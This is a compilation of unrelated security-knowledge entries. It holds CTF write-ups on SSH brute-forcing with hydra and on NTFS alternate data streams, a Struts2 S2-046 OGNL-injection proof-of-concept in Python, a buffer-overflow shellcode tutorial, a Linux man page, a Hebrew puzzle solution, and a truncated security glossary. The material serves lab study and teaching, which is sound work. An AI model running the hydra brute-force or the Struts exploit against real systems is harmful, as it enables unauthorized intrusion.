- 最后,乐队的话之一——`Flesh`或者`Curtains`
使用 Hashcat 进行排列`maskprocessor`:
```shell
# ?u = upper
# ?d = digit
mp64 ?u?dFlesh >> rick
mp64 ?u?dflesh >> rick
mp64 ?u?dCurtains >> rick
mp64 ?u?dcurtains >> rick
```
现在使用我的单词表 – `rick`,我将尝试通过以下方式暴力破解 SSH `hydra`:
```shell
hydra -IVf -s 22222 -l RickSanchez -P rick ssh://target-ip-address
```
而且,一段时间后我受到了打击:`P7Curtains`

|
sec-knowleage
|
# Plague of Lice
## Description
> > “So the Lord said to Moses, ‘Say to Aaron, “Stretch out your rod, and strike the dust of the land, so that it may become lice throughout all the land of Egypt.”’ And they did so. For Aaron stretched out his hand with his rod and struck the dust of the earth, and it became lice on man and beast. All the dust of the land became lice throughout all the land of Egypt” (Exodus 8:16-17).
>
> I hate lice. Every time they come they never leave, and the worst part is that there are SO MANY of them.
>
> P.S: we are not using ads on our file system
A RAR archive was attached.
## Solution
After extracting the archive, we find the following directory structure:
```console
┌──(user@kali)-[/media/sf_CTFs/basmach/Plague_of_lice/Passover]
└─$ tree -d
.
└── almost here
├── its here
│ ├── could be here
│ └── or here
│ └── try here
└── maybe here
└── here
├── not here
└── trust me it's here
9 directories
```
Inside the directories there are around 26,000 files:
```console
┌──(user@kali)-[/media/sf_CTFs/basmach/Plague_of_lice/Passover]
└─$ find . -type f | wc -l
26052
```
All the files are text files called `FLAG<n>.txt` where `<n>` is a running number. Let's see a few:
```console
┌──(user@kali)-[/media/sf_CTFs/basmach/Plague_of_lice/Passover]
└─$ find . -name "*.txt" | head -n 10 | xargs -d '\n' -i sh -c "cat '{}'; echo"
BSMCH{posS_onVA}
BSMCH{pesS_orVQ}
BSMCH{pssS_oyVQ}
BSMCH{prsS_ogVJ}
BSMCH{pdsS_omVU}
BSMCH{posS_owVZ}
BSMCH{phsS_ogVT}
BSMCH{pnsS_okVB}
BSMCH{pssS_otVT}
BSMCH{pdsS_opVF}
```
... All, but one!
```console
┌──(user@kali)-[/media/sf_CTFs/basmach/Plague_of_lice/Passover]
└─$ find . -type f | file -f - | grep -v ASCII
./almost here/its here/FLAG53.txt: PNG image data, 406 x 280, 8-bit/color RGBA, non-interlaced
```
Unfortunately that's a red herring too (image just says "Flag!").
Let's go back to the description:
> P.S: we are not using ads on our file system
In the context of file system, "ads" can refer to ["Alternate Data Streams"](https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)) which is practically a way to "hide" more data in files. It turns out that [RAR is one of the only archives that supports ADS](https://superuser.com/questions/156971/ntfs-alternate-stream-in-compressed-archive). So what if THEY ARE using ADS in their file system?
One of the simplest ways to display an alternate data stream in the current folder is to run `dir /r` under Windows. Let's use that to try and recursively search for ADSs:
```console
D:\CTFs\basmach\Plague_of_lice>dir /r /s | findstr ":\$"
22 Passover:Louse:$DATA
267 Passover.rar:Zone.Identifier:$DATA
22 .:Louse:$DATA
22 ..:Louse:$DATA
92 FLAG53.txt:Zone.Identifier:$DATA
```
It looks like the `Passover` folder itself has an ADS called `Passover:Louse`, let's print it:
```console
D:\CTFs\basmach\Plague_of_lice>more < Passover:Louse
BSMCH{T1nCh3mUcHKi}
```
|
sec-knowleage
|
# S2-046 Remote Code Execution Vulnerablity(CVE-2017-5638)
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
References:
- https://cwiki.apache.org/confluence/display/WW/S2-046
- https://xz.aliyun.com/t/221
## Setup
Execute the following command to start the Struts2 2.3.30:
```
docker compose up -d
```
After the container is running, visit `http://your-ip:8080` that you can see an example of the upload page.
## Exploitation
As same as S2-045, S2-046 is also the OGNL injection but occurs at filename field of the upload request, and a NUL byte is needed to split payload and the remaining strings.
A simple Python POC for Verifying the vulnerability:
```python
import socket
q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
Content-Type: text/plain
foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
p = b'''POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Length: %d
'''.replace(b'\n', b'\r\n') % (len(q), )
with socket.create_connection(('your-ip', '8080'), timeout=5) as conn:
conn.send(p + q)
print(conn.recv(10240).decode())
```
`233*233` has been successfully executed:

|
sec-knowleage
|
uupick
===
命令处理传送进来的文件
## 补充说明
**uupick命令** 处理传送进来的文件。 当其他主机通过UUCP将文件传送进来时,可利用uupick指令取出这些文件。
### 语法
```shell
uupick [-v][-I<配置文件>][-s<主机>][-x<层级>][--help]
```
### 选项
```shell
-I<配置文件>或--config<配置文件> 指定配置文件。
-s<主机>或--system<主机> 处理由指定主机传送过来的文件。
-v或--version 显示版本信息。
--help 显示帮助。
```
### 例子
处理由主机localhost传送过来的文件。在命令行直接输入如下命令:
```shell
uupick-s localhost
```
该命令通常没有输出。
|
sec-knowleage
|
<div dir="rtl">
<h1>חידת אמ"ן - פסח התשפ"ב</h1>
<p>
לרגל חג הפסח פרסם אגף המודיעין חידה קצרה. נראה כאן את הפתרון שלה. על החידה עבדתי יחד עם zVaz וקבוצה נוספת של גולשים בטלגרם. החידה קצת מפוזרת, תחזיקו חזק.
</p>
<h2>תיאור</h2>
<p>
אחרי שבשנה שעברה יותר מ-200,000 אנשים נענו לאתגר - באגף המודיעין מפרסמים את החידה השנתית החדשה שלהם, רק שהפעם - מדובר בריבוע שחור לגמרי. הוא יוביל אתכם לשלוש תחנות אוטובוס ברחבי הארץ ולכתובת מייל אחת. שיהיה בהצלחה - אתם תזדקקו לזה.
מערכת אתר צה"ל | 14.04.22
</p>

<p>
קישור להורדת התמונות באיכות המלאה: <a href="https://www.idf.il/media/il2jhotv/letmypeoplego.png?optimize=false">התמונה השחורה</a>, <a href="https://www.idf.il/media/t45dusgz/letmypeoplego.png">התמונה בכותרת</a>.
</p>
<pre dir="ltr" style="text-align: left">
www.idf.il/_____/
</pre>
<p>
*את החידה חיבר מדור טכנולוגיות למידה במערך ההדרכה למודיעין ולסייבר של אמ"ן. המדור אחראי על הפיכת ההכשרות של האגף לדיגיטליות ומתקדמות תוך שילוב לומדות, משחקי למידה וסימולטורים אשר תפקידם להטמיע את הידע בצורה טובה וחוויתית יותר.
</p>
<h2>פתרון</h2>
<h3>התמונה בכותרת</h3>
<p>
לפני שאנחנו צוללים אל התמונה השחורה והתחנות השונות, יש לנו המון נתונים בתמונה שבכותרת. נעבור על הכל בזריזות.
</p>

<ul>
<li>לאורך הגבול הימני של התמונה, הכיתוב "1956"</li>
<li>מימין, תמונה של משה דיין, ומסביבה פסוק אודות שאול המלך מתוך התנ"ך</li>
<li>קטע בינארי מודגש בירוק בתוך התמונה של משה דיין: 00110010 00111001 00110001 00110000 00110001 00111001 00110101 00110110, מתורגם ל-29101956, כלומר, 29-10-1956, תאריך הפתיחה של מבצע קדש. משה דיין היה רמטכ"ל מבצע קדש.</li>
<li>תמונה של אופירה נבון, אשתו של הנשיא החמישי יצחק נבון. מסביב לתמונה שמות של נשיאי ישראל, ויצחק נבון מודגש</li>
<li>תמונה של אוניית המעפילים "אקסודוס"</li>
<li>הסמל של חיל המודיעין, מוקף ברצף הבינארי 01101100 01100101 01110100 00100000 01101101 01111001 00100000 01110000 01100101 01101111 01110000 01101100 01100101 00100000 01100111, אשר מתפרש כ-let my people g (ללא o בסוף)</li>
<li>כתב מראה: Let my people go = Dead end</li>
<li>מספר סמלילים: האות y, סרט מדידה, פנס, תקליטון, והלוגו של ג'ימייל</li>
</ul>
<h3>תחנה ראשונה</h3>
<p>
עבור התחנה הראשונה נבצע את הפעולה הסטנדרטית עבור תמונה עם צבע אחיד ב-CTF. נעביר אותה דרך שירות כמו <a href="https://stegonline.georgeom.net/">StegOnline</a> ונבדוק אם קיים מידע נסתר ב-Colour & Bit Planes. לחלופין, ניתן לשחק עם הערכים של בהירות התמונה. כצפוי, נקבל:
</p>

<p>
זה נראה כמו כתב חרטומים. נפענח באמצעות המפתח הבא שאפשר למצוא בקלות בגוגל:
</p>

<p>
לאחר הפענוח נקבל את הרצף "בינהמילימ", כלומר "בין המילים". נספור את מספר העיגולים בין האותיות ונקבל 59983179. המספר הזה מוביל אותנו לדף חדש באתר צה"ל: https://www.idf.il/59983179/. בדף זה נמצא וידאו מוטמע מתוך יוטיוב: <a href="https://www.youtube.com/watch?v=SP5EfwBWgg0">Louis Armstrong-Go Down Moses</a>, יחד עם קוד מורס:
</p>
<pre>
.--- -.. .. # / .--- -... .-. .. - / -... .-.. .. / ... .-.. . # / -- .- ... .-. / ... .-.. . # / -... .-.. .. / .--- -... .-. .. -
</pre>
<p>
בנוסף, מופיע בדף הכיתוב הבא:
</p>
<pre>
מספר התחנה: ______ (מסתיים ב-9)
</pre>
<p>
באמצעות <a href="https://stwww1.weizmann.ac.il/communication/?p=132">טבלת סימני מורס בעברית</a> נפענח את קוד המורס ונקבל: "עדי# עברית בלי שלו# מאשר שלו# בלי עברית". נשמע שהכוונה למשפט: "עדיף עברית בלי שלום מאשר שלום בלי עברית", פרפרזה על ציטוט מפורסם של משה דיין בהקשר של האפשרות לפינוי חצי האי סיני תמורת שלום עם מצרים: "טוב שארם א-שייח' בלי שלום מאשר שלום בלי שארם א-שייח'". אם כך, החליפו את שארם א-שייח' ב"עברית" (ואת האותיות הסופיות בסולמיות?). מסתבר שבשארם א-שייח' שכן יישוב ישראלי בשם "אופירה". נשמע מוכר? בתמונת הכותרת ראינו את אופירה נבון.
</p>
<p>
מה לגבי הסרטון? הסרטון מפנה לשיר בשם Go Down Moses, שבו ביטוי חוזר: Let my people go. Moses הוא משה, כמו משה דיין.
</p>
<p>
מתוך זה אנחנו אמורים למצוא מספר תחנה, ואנחנו יודעים שהמספר מסתיים ב-9. נסמן לעצמנו שתי תחנות אפשריות על סמך הנתונים שמצאנו: תחנת פארק אופירה / נשיאי ישראל בכרמיאל (מספר תחנה: 50729) ותחנת דרך משה דיין / דרך השלום (מספר תחנה: 25749).
</p>
<h3>תחנה שנייה</h3>
<p>
עבור התחנה השנייה נצטרך למדוד את מימדי התמונה השחורה. אורך: 1294, רוחב: 1501. נכפיל את שניהם ונקבל את התוצאה 1942294, מה שמוביל אותנו לדף חדש באתר צה"ל: https://www.idf.il/1942294/. הדף הזה מכיל תמונה של בובספוג עם קוד QR על השרוול:
</p>

<p>
הערת ביניים: ביקור בכתובת https://www.idf.il/letmypeoplego/ הוביל לדף עם אותה תמונה של בובספוג רק ללא קוד ה-QR על השרוול. לא היה ניתן להמשיך משם. אולי זאת הייתה הכוונה ב-Dead end שבתמונת הכותרת. עוד אופציה היא שהכוונה ב-Dead end היא לסמל אמ"ן והכיתוב סביבו שגם הם לא סייעו בפתרון החידה.
</p>
<p>
קוד ה-QR הוביל לתמונה הבאה:
</p>

<p>
זוהי תמונה של משתתפי הקונגרס הציוני הראשון, רק שבמרכז התמונה, במקום הרצל, עומדת לה שרה אהרונסון, גיבורת ניל"י, ומתחתיה הכיתוב "נצח ישראל לא ישקר" (ניל"י).
</p>
<p>
בנוסף, הדף הכיל את הכיתוב: "מספר התחנה: ______" (הפעם בלי הספרה האחרונה), והתמונה של בובספוג קישרה ל<a href="https://ibb.co/album/N1dz7q">אלבום תמונות נעול בסיסמא</a>. הסיסמא לאלבום הייתה "let my people go" והוא הכיל תמונה בודדת, זהה לתמונה שה-QR הוביל אותנו אליה.
</p>
<p>
נסמן לעצמנו שתי תחנות אפשריות על סמך הנתונים שמצאנו: תחנת שרה אהרונסון / שדרות הציונות (מספר תחנה: 15125) ותחנת שדרות ניל"י / הרצל (מספר תחנה: 40341). התחנה של שרה אהרונסון / שדרות הציונות באשקלון נמצאת בסמיכות רבה לרחוב אופירה נבון ושדרות קדש.
</p>
<h3>תחנה שלישית</h3>
<p>
עבור התחנה השלישית נבדוק את השם של קובץ התמונה השחור: shemot11071947. חומש "שמות" נקרא בלעז "אקסודוס", והתאריך 11-07-1947 הוא תאריך היציאה של אוניית המעפילים אקסודוס. לכן, נבקר בכתובת https://www.idf.il/אקסודוס/ ונקבל חידה:
</p>
<pre>
הים שנחצה ל-2
ונותר ללא מאגר מים
מותיר ערימת תרמילים ותעלות
</pre>
<p>
הים שנחצה ל-2 הוא ים סוף. אם נחפש תחנות אוטובוס שעוברות ברחוב ים סוף, נקבל:
</p>
<ul>
<li>ים סוף / מעגלי הרי"ם לוין (מספר תחנה: 1626)</li>
<li>ים סוף / צלמונה (מספרי תחנה: 1430 ו-3815)</li>
<li>ים סוף / שאול המלך (מספרי תחנה: 1428 ו-2006)</li>
</ul>
<p>
כל התחנות נמצאות ברחוב ים סוף בירושלים, באזור של גבעת התחמושת (ערימת תרמילים ותעלות?). "צלמונה" היא אחת מתחנות בני ישראל במדבר שבה לפי הפרשנות התלוננו שאין להם מים.
בסמוך לאזור ישנם רחובות בשם "אופירה", "מדבר פארן" ו-"מעבר המתלה".
</p>
<h3>כתובת המייל</h3>
<p>
נחבר הכל יחדיו לכתובת מייל. בתמונת הכותרת ראינו את הלוגו של ג'ימייל, לצד האות y ומספר סמלילים נוספים. נסביר מה המשמעות שלהם:
</p>
<ul>
<li>סרט מדידה - התחנה שאליה הגענו באמצעות מדידת האורך והרוחב של התמונה השחורה</li>
<li>פנס - התחנה שאליה הגענו באמצעות "הארת" התמונה השחורה</li>
<li>תקליטון - התחנה שאליה הגענו באמצעות שמירת התמונה ובדיקת השם שלה</li>
</ul>
<p>
אם כך, כאשר נסדר את מספרי התחנות אחד אחרי השני לפי הסדר הזה, ולפני התחנה הראשונה נציב את האות y, נייצר בעצם כתובת מייל בג'ימייל. נצטרך לבדוק את כל הכתובות שניתן לייצר עבור כל אחד מהאופציות שסימנו קודם, כלומר, כתובת מהתבנית הבאה:
</p>
<pre dir="ltr">
y{50729|25749}{15125|40341}{1626|1430|3815|1428|2006}@gmail.com
</pre>
<p>
ניתן להשתמש בממשק של ג'ימייל לרישום על מנת לבדוק במהירות את הכתובות השונות - ברגע שנמצא כתובת תפוסה, נוכל לסמן אותה בתור אופציה לתשובה. לאחר מעבר על כל הקומבינציות, למזלנו, רק כתובת אחת מסומנת כתפוסה: y40341.50729.2006@gmail.com, כלומר, התחנות הן:
</p>
<ul>
<li>40341 - הרצל / שדרות ניל"י</li>
<li>50729 - פארק אופירה / נשיאי ישראל</li>
<li>2006 - ים סוף / שאול המלך</li>
</ul>
<p>
שליחת מייל לכתובת הזו זכתה למענה בדמות ריבוע שחור נוסף עם מסר נסתר של "כל הכבוד".
</p>
<h2>אחרית דבר</h2>
<p>
החידה השנה הייתה קצת מפוזרת, היא הצריכה יותר מדי ניחושים והכילה נתונים כפולים/מיותרים (לכאורה). אולם, הקטע הבעייתי ביותר היה העובדה שכל אחד היה יכול להרשם לג'ימייל עם כתובת מייל שמורכבת מתחנות אחרות ובכך לקלקל לאחרים את האתגר, או אפילו להתחזות במידה מסויימת לאמ"ן. ואף על פי כן, טוב לראות שאמ"ן ממשיכים עם המסורת של חידות לקראת פסח. חג שמח ומועדים לשמחה!
</p>
<h2>קישורים</h2>
<ul>
<li><a href="https://www.idf.il/56783/">החידה באתר צה"ל</a></li>
<li><a href="https://www.ynet.co.il/news/article/by5l11112n5">כתבה ב-YNet</a>
<li><a href="https://www.idf.il/%D7%90%D7%AA%D7%A8%D7%99-%D7%99%D7%97%D7%99%D7%93%D7%95%D7%AA/%D7%90%D7%92%D7%A3-%D7%94%D7%9E%D7%95%D7%93%D7%99%D7%A2%D7%99%D7%9F/%D7%9B%D7%9C-%D7%94%D7%9B%D7%AA%D7%91%D7%95%D7%AA/2022/%D7%97%D7%99%D7%93%D7%AA-%D7%90%D7%9E%D7%9F-%D7%90%D7%9E-%D7%9F-%D7%A4%D7%AA%D7%A8%D7%95%D7%9F-%D7%A7%D7%A9%D7%94-%D7%94%D7%9B%D7%99-%D7%97%D7%9B%D7%9E%D7%99%D7%9D-%D7%A8%D7%9E%D7%96-2022-%D7%A8%D7%99%D7%91%D7%95%D7%A2-%D7%A9%D7%97%D7%95%D7%A8-%D7%A4%D7%A1%D7%97-%D7%9E%D7%95%D7%93%D7%99%D7%A2%D7%99%D7%9F/">הפתרון הרשמי</a>
</ul>
</div>
|
sec-knowleage
|
### 执行 Shellcode的介绍
shellcode 是一段用于利用软件漏洞而执行的代码,shellcode 为16进制之机械码,以其经常让攻击者获得 shell 而得名。shellcode 常常使用机器语言编写。 可在暂存器 eip 溢出后,塞入一段可让 CPU 执行的 shellcode 机械码,让电脑可以执行攻击者的任意指令。在编译时关闭 ASLR、NX 、CANARY 选项,这样就可以在输入时把 shellcode 布置在栈中,通过动态调试获得所需要的 padding 溢出到返回地址为输入的 shellcode 地址,这样程序返回后便会执行 shellcode。
### 执行 Shellcode示例
下面给出一个经典例子,验证程序溢出后执行 **shellcode**,编译的环境为 winxp 工具为 vc6.0。
```c
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[50];
authenticated = strcmp(password,PASSWORD);
memcpy(buffer,password,strlen(password));
return authenticated;
}
void main()
{
int valid_flag =0;
char password[1024];
FILE *fp;
LoadLibrary("user32.dll");
if (!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if (valid_flag !=0)
{
printf("incorrect password!\n\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
getchar();
}
```
编译完成后拖入 OllyDbg 动态调试确定 **padding** 的长度,在 **memcpy** 处下一个断点方便随后调试。可以先生成50 BYTES 的 padding 比较与返回地址的距离,最后确定为60 BYTES 后为返回地址。
输入的字符串会被复制到栈中 **0012FAE4** 的位置。
因为通过合理的 padding 控制了返回地址到 **0012FAE4**,所以在函数返回时寄存器 **EIP** 的值为 **0012FAE4**,这时系统会认为栈中的数据为机器码,程序就会执行地址为 **0012FAE4** 的代码。
**password.txt** 中的内容为精心布置的机器码,功能是弹出一个消息框,内容为 **hackhack**。如何编写 **password.txt** 中的内容,我们放在后面的章节来讲,本章着重介绍整个执行流程。
如我们所期望的,程序返回后执行了弹窗功能。
|
sec-knowleage
|
## 1. A3/A8
**COMP128**算法是[GSM](https://en.wikipedia.org/wiki/GSM "全球移动通信系统")标准中定义的 A3 和 A8 函数的实现。A3 用于向网络[验证移动站。](https://en.wikipedia.org/wiki/Authentication "验证")A8 用于生成[会话密钥](https://en.wikipedia.org/wiki/Session_key "会话密钥"),A5 使用该会话密钥对移动台和[BTS](https://en.wikipedia.org/wiki/Base_Transceiver_Station "基地收发站")之间传输的数据进行加密。
COMP128 共有三个版本。他们本来是保密的。第一个版本的部分描述于 1997 年泄露,并通过[逆向工程](https://en.wikipedia.org/wiki/Reverse_engineering "逆向工程")完成。这导致了 1998 年的完整出版。第二和第三个版本是通过验证 SIM 卡合规性的软件逆向工程获得的。
## 2. A5/1
**A5/1**是一种[流密码](https://en.wikipedia.org/wiki/Stream_cipher "流密码"),用于在[GSM](https://en.wikipedia.org/wiki/Global_System_for_Mobile_Communications "全球移动通信系统")[蜂窝电话](https://en.wikipedia.org/wiki/Cell_phone "手机")标准中提供无线通信[隐私](https://en.wikipedia.org/wiki/Privacy "隐私")。它是 A5 安全协议的几种实现之一。它最初是保密的,但通过泄密和[逆向工程](https://en.wikipedia.org/wiki/Reverse_engineering "逆向工程")成为公众所知。已发现密码中的许多严重弱点。
A5/1 流密码使用三个[LFSR](https://en.wikipedia.org/wiki/LFSR "低频SR")。如果一个寄存器的时钟位(橙色)与其他两个寄存器中的一个或两个的时钟位一致,则该寄存器被计时。三个寄存器的长度不是随机选择的:由于三个寄存器的度数互质,因此该生成器的周期是三个寄存器周期的乘积。因此 A5/1 的周期(重复之前)是 2^64 位(2 的 64 次方)。
## 3. A5/2
**A5/2**是一种[流密码](https://en.wikipedia.org/wiki/Stream_cipher "流密码"),用于在[GSM](https://en.wikipedia.org/wiki/GSM "全球移动通信系统") [蜂窝电话](https://en.wikipedia.org/wiki/Cell_phone "手机")协议中提供语音隐私。它于 1992-1993 年设计(1993 年 3 月完成)作为相对更强(但仍然较弱)的[A5/1](https://en.wikipedia.org/wiki/A5/1 "A5/1")的替代品,以允许 GSM 标准出口到“限制进口具有加密安全功能的产品”的国家”。
该密码基于四个具有不规则时钟的[LFSR](https://en.wikipedia.org/wiki/Linear-feedback_shift_register "线性反馈移位寄存器")和一个[非线性](https://en.wikipedia.org/wiki/Non-linear)组合器的组合。
## 4. AAA
**AAA** refers to **[Authentication](https://en.wikipedia.org/wiki/Authentication "Authentication") (认证:提供身份性 to prove identity), [Authorization](https://en.wikipedia.org/wiki/Authorization "Authorization") (授权:授予批准 to give permission) and [Accounting](https://en.wikipedia.org/wiki/Audit_trail "Audit trail") (记账:记录审计记录 to log an audit trail).**
## 5,6,7,8 Access - XX
Access-Accept (访问-接收)是一种RADIUS协议消息,用于通知RADIUS客户端其访问请求已被授权,并提供相关配置信息。
Access-Challenge (访问-质询)是一种RADIUS协议消息,用于向RADIUS客户端发送额外的质询信息。通常,在接收到Access-Request消息后,RADIUS服务器可能需要进一步验证客户端的身份或要求提供其他信息,这时会发送Access-Challenge消息。
Access-Reject (访问-拒绝)是一种RADIUS协议消息,用于通知RADIUS客户端其访问请求被拒绝。当RADIUS服务器验证客户端身份失败或出现其他错误时,会发送Access-Reject消息。
Access-Request (访问-请求)是一种RADIUS协议消息,用于向RADIUS服务器发送访问请求。客户端在向服务器发起连接时发送Access-Request消息,其中包含用户凭据和其他相关信息,以请求访问网络资源。
这些术语通常在RADIUS(Remote Authentication Dial-In User Service,远程认证拨号用户服务)协议中使用,该协议用于在网络中进行用户身份验证、授权和帐户管理。RADIUS协议广泛用于许多网络访问技术,如拨号接入、无线网络和虚拟专用网络(VPN)。
## 9,10,11 Accounting - XX
Accounting (记账)是一种网络协议中的功能,用于跟踪和记录用户的网络活动和资源使用情况。它可以用于计费、安全审计和网络管理等目的。
Accounting-Request (记帐-请求)是一种用于发送记账信息的协议消息。当网络设备或服务器需要记录特定事件或用户活动时,会发送Accounting-Request消息到记账服务器。这些事件可以包括用户的登录和注销、数据传输量、连接持续时间等。
Accounting-Response (记帐-响应)是记账服务器对Accounting-Request消息的响应。它用于确认接收并处理记账请求,并可以包含额外的信息,例如记录的状态、错误消息等。
记账协议通常与其他网络认证协议(如RADIUS和DIAMETER)一起使用,以提供完整的用户认证、授权和计费解决方案。通过记账功能,网络管理员可以监控和记录用户的网络活动,对资源的使用情况进行审计,并生成相应的计费数据用于收费或内部分析。
## 12 AES
不过多赘述
## 13 Anti-Phishing
反钓鱼(Anti-phishing)是指阻止钓鱼攻击的努力。钓鱼是一种网络犯罪,攻击者冒充已知或值得信任的实体,通过电子邮件、短信或电话联系个人,并要求他们分享敏感信息。通常,在钓鱼电子邮件攻击中,攻击者发送的信息会暗示发票存在问题、账户出现可疑活动,或者要求用户登录以验证账户或密码。用户可能还会被提示输入信用卡信息、银行账户详细信息以及其他敏感数据。一旦收集到这些信息,攻击者可能会利用它来访问账户、窃取数据和身份,并在用户的计算机上下载恶意软件。
## 14 ASN1
抽象语法标记一(ASN.1)是一种标准接口描述语言,用于定义可以以跨平台方式进行序列化和反序列化的数据结构。它广泛应用于电信和计算机网络领域,特别是在密码学中。
协议开发人员使用ASN.1模块来定义数据结构,通常这些模块是在ASN.1语言编写的更广泛标准文档中的一部分。优势在于ASN.1对数据编码的描述与特定计算机或编程语言无关。由于ASN.1既可读性强又可由机器读取,因此ASN.1编译器可以将模块编译成代码库,即编解码器,用于解码或编码数据结构。一些ASN.1编译器可以生成用于编码或解码多种编码方式的代码,例如紧凑编码(packed)、BER或XML。
## 15,16,17 Authentication(认证),Authorization,Base64
不过多赘述
## 18 BER
基本编码规则(Basic Encoding Rules,简称BER)以一般术语规定了一种部分自描述和自分隔的协议,用于编码ASN.1数据结构。每个数据元素都要编码为类型标识符、长度描述、实际数据元素以及必要时的内容结束标记。这种类型的编码通常被称为类型-长度-值(TLV)编码。然而,在BER的术语中,它被称为标识符-长度-内容(identifier-length-contents)。
## 19 bitcoin
最早的、以区块链为数据结构的数字货币,实现了匿名性、可溯源、抗通胀的可信数字货币架构。利用 Pow(Proof of work 工作量证明)作为其共识算法。
## 20 Certificate
证书,不多赘述
## 21 CHAP
CHAP是最初由点对点协议(PPP)服务器用于验证远程客户端身份的一种认证方案。CHAP通过使用三次握手周期性地验证客户端的身份。这在建立初始链路(LCP)时发生,并且可能在之后的任何时间再次发生。验证基于共享密钥(如客户端的密码)[1]。
在链路建立阶段完成后,认证器向对等方发送一个“挑战”消息。 对等方使用挑战和密钥结合使用单向哈希函数计算出一个值作为响应。 认证器将响应与自己计算的预期哈希值进行比对。如果数值相符,认证器确认认证成功;否则,它应该终止连接。 在PPP中,认证器可以随机间隔向对等方发送新的挑战,并重复步骤1到3。然而,在大多数情况下使用CHAP(如RADIUS)时,这一步骤不会执行。
## 22 cloudflare
Cloudflare,Inc. 是一家美国公司,提供内容传输网络服务、云安全服务、DDoS缓解以及经ICANN认可的域名注册服务。Cloudflare的总部位于加利福尼亚州旧金山。根据The Hill的报道,截至2022年,全球超过20%的互联网用户使用Cloudflare的网络安全服务。
## 23 CMAC
在密码学中,CMAC是一种基于分组密码的消息认证码算法。它可以用来提供数据的真实性和完整性的保证。这种工作模式修复了CBC-MAC的安全缺陷(CBC-MAC仅对固定长度的消息安全)。[引证请求]
CMAC算法的核心是由Black和Rogaway提出并在NIST提交的名为XCBC的变种CBC-MAC算法。XCBC算法有效地解决了CBC-MAC的安全缺陷,但需要三个密钥。Iwata和Kurosawa在论文中提出了XCBC的改进,并将结果命名为单键CBC-MAC(OMAC)。他们后来提交了OMAC1,这是OMAC的改进,并进行了额外的安全分析。OMAC算法减少了XCBC所需的密钥材料量。CMAC等同于OMAC1。
## 24 Cookie
不过多赘述
Cookies 带来不安全,要考虑安全问题 https://www.kaspersky.com/resource-center/definitions/cookies 不同功能的 Cookies 具有不同的时效性
## 25 CRL
在密码学中,证书吊销列表(Certificate Revocation List,简称CRL)是“由颁发证书机构(CA)在其计划到期日期之前吊销的数字证书列表,不再应被信任”[1]
### 26.crypt()
`crypt()` 是一个用于密码加密的函数。它通常用于计算密码的哈希值或加密敏感数据。`crypt()` 函数接受两个参数:要加密的字符串和一个称为“盐(salt)”的字符串。盐是一个随机字符串,它增加了密码加密的安全性。
`crypt()` 函数使用一个加密算法对输入的字符串进行处理,并返回加密后的结果。这个算法通常是单向的,意味着无法通过加密结果来还原出原始字符串。因此,它通常用于验证密码,比较加密后的密码和存储在数据库中的密码哈希值是否匹配。
### 27.CSP(Cryptographic Service Provider)
CSP(Cryptographic Service Provider)是指加密服务提供者,是用于执行加密操作和提供加密服务的软件模块或硬件设备。
CSP 提供了一系列的加密算法、密钥管理功能和安全服务,用于实现数据的加密、解密、数字签名、验证等操作。它们通常被用于构建安全的通信系统、加密文件和存储数据、数字证书管理等应用中。CSP 可以是软件库、硬件设备(如加密芯片)或操作系统中的内置模块。它们实现了各种密码学算法(如对称加密算法、非对称加密算法、哈希算法等),并提供了密钥管理、随机数生成、数字证书处理等功能。
### 28.DER
DER(Distinguished Encoding Rules)是一种用于编码和表示数据结构的二进制格式。它是一种基于ASN.1(Abstract Syntax Notation One)的标准,用于描述和表示数据的结构和内容。DER 是ASN.1 的一个具体编码规则,它定义了如何将数据按照一定的规则进行编码和表示。
常见的使用 DER 编码的数据类型包括 X.509 数字证书、私钥、公钥、证书撤销列表(CRL)等。通过 DER 编码,这些数据可以被准确地序列化为二进制格式,便于传输、存储和解析。
### 29.DES
DES(Data Encryption Standard)是一种对称加密算法,用于保护数据的机密性。它是在1970年代末和1980年代初由美国国家标准与技术研究所(NIST)开发的。
DES 使用称为 Feistel 网络的结构,在加密和解密过程中都使用相同的算法。它将输入数据块分成两个部分,并在一系列迭代中对数据进行置换、替换和混淆,最终产生加密或解密后的输出。
DES 使用一个 56 位的密钥作为输入,对 64 位的数据块进行加密。
### 30.Diameter (rfc6733)
Diameter 是一种网络协议,用于在计算机网络中进行认证、授权和账务管理(AAA)以及其他相关的应用。它被定义在 RFC 6733 中,因此被称为 Diameter 协议。
Diameter 协议是 RADIUS(远程身份验证拨号用户服务)协议的后继者,旨在提供更强大和可扩展的 AAA 功能。它采用客户端-服务器模型,其中客户端请求服务,而服务器对这些请求进行验证、授权和计费。
### 31.Diameter Mobile IPv4
RFC 4004 描述了 Diameter 协议的一个具体应用,即 Diameter Mobile IPv4 应用。
Diameter Mobile IPv4 应用扩展了 Diameter 协议,用于支持移动 IPv4(Mobile IPv4)协议的认证、授权和计费。Mobile IPv4 是一种用于实现移动性管理的网络协议,允许移动设备在不改变其 IP 地址的情况下切换到不同的网络。
Diameter Mobile IPv4 应用在移动 IPv4 网络中提供了以下功能:
1. 移动设备的认证;
2. 计费和配额控制;
3. 错误处理和状态报告;
### 32.Diameter: AVP(Attribute-Value Pairs)
在 Diameter 协议中,AVP(Attribute-Value Pairs)是一种常用的数据结构,用于在 Diameter 消息中传递属性和对应的值。
AVP 是 Diameter 协议中的基本单元,由以下三个主要部分组成:
